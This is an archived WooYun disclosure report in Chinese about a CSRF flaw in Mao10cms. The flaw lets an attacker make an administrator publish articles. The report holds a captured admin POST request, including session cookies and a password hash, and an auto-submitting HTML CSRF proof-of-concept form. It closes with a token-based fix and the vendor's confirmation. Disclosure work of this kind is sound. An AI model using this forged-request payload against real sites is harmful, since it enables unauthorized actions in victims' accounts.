乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-03-12: 细节已通知厂商并且等待厂商处理中 2015-03-13: 厂商已经确认,细节仅向厂商公开 2015-03-16: 细节向第三方安全合作伙伴开放 2015-05-07: 细节向核心白帽子及相关领域专家公开 2015-05-17: 细节向普通白帽子公开 2015-05-27: 细节向实习白帽子公开 2015-06-11: 细节向公众公开
Mao10cms最新版本存在CSRF越权导致管理员发表文章
进入后台。看看发表文章是怎么的。先打开burp顺便把包截取了
POST /mao/index.php?m=home&c=perform&a=publish_article HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:36.0) Gecko/20100101 Firefox/36.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/mao/index.php?m=publish&c=index&a=add_articleCookie: 33b5b_lastpos=other; 33b5b_ol_offset=98; 33b5b_ipstate=1425863599; 33b5b_cloudClientUid=9998101; 33b5b_jobpop=0; 33b5b_threadlog=%2C2%2C; editmode=0; 33b5b_readlog=%2C1%2C2%2C; 33b5b_bubble=a%3A1%3A%7Bs%3A17%3A%22pw_all_tip_tucool%22%3Bi%3A1%3B%7D; 33b5b_winduser=VT8BVwBcUlFTUgZQDl8FVQYNXwAABlRTXAZRAgdQWgwFUT4; 33b5b_ck_info=%2F%09; 33b5b_lastvisit=951%091425870595%09%2Fphpwind%2Fapps.php%3Fqweibo%26ajax1%26docomment%26nowtime1425870595548%26verify407e3b64ee9472c6; hd_sid=evILzk; AJSTAT_ok_times=1; tp_sid=6f35b5130ed53007; friend=0; friend_message=0; sysmsg=0; remind_num=0; ashell=7917f2596f8bb70c954893f200ba6274; CNZZDATA1702264=cnzz_eid%3D544880126-1426140871-http%253A%252F%252F127.0.0.1%252F%26ntime%3D1426140871; PHPSESSID=i56o0t3b4qv8ki4e51ak6421h7; user_name=admin; user_pass=6d863b4f2b8040285e158e5ace65fda9Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 66title=11111&content=%3Cp%3E11111111%3Cbr%3E%3C%2Fp%3E&tags=&fmimg=
是POST进去的。那么现在构造POC哈
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>OWASP CRSFTester Demonstration</title></head><body onload="javascript:fireForms()"><script language="JavaScript">var pauses = new Array( "109" );function pausecomp(millis){ var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis);}function fireForms(){ var count = 1; var i=0; for(i=0; i<count; i++) { document.forms[i].submit(); pausecomp(pauses[i]); }} </script><H2>OWASP CRSFTester Demonstration</H2><form method="POST" name="form0" action="http://127.0.0.1:80/mao/index.php?m=home&c=perform&a=publish_article"><input type="hidden" name="title" value="test"/><input type="hidden" name="content" value="<p>test<br></p>"/><input type="hidden" name="tags" value=""/><input type="hidden" name="fmimg" value=""/></form></body></html>
打开它后。。
嗯哼?加强token限制哈
危害等级:高
漏洞Rank:20
确认时间:2015-03-13 18:47
感谢指出
暂无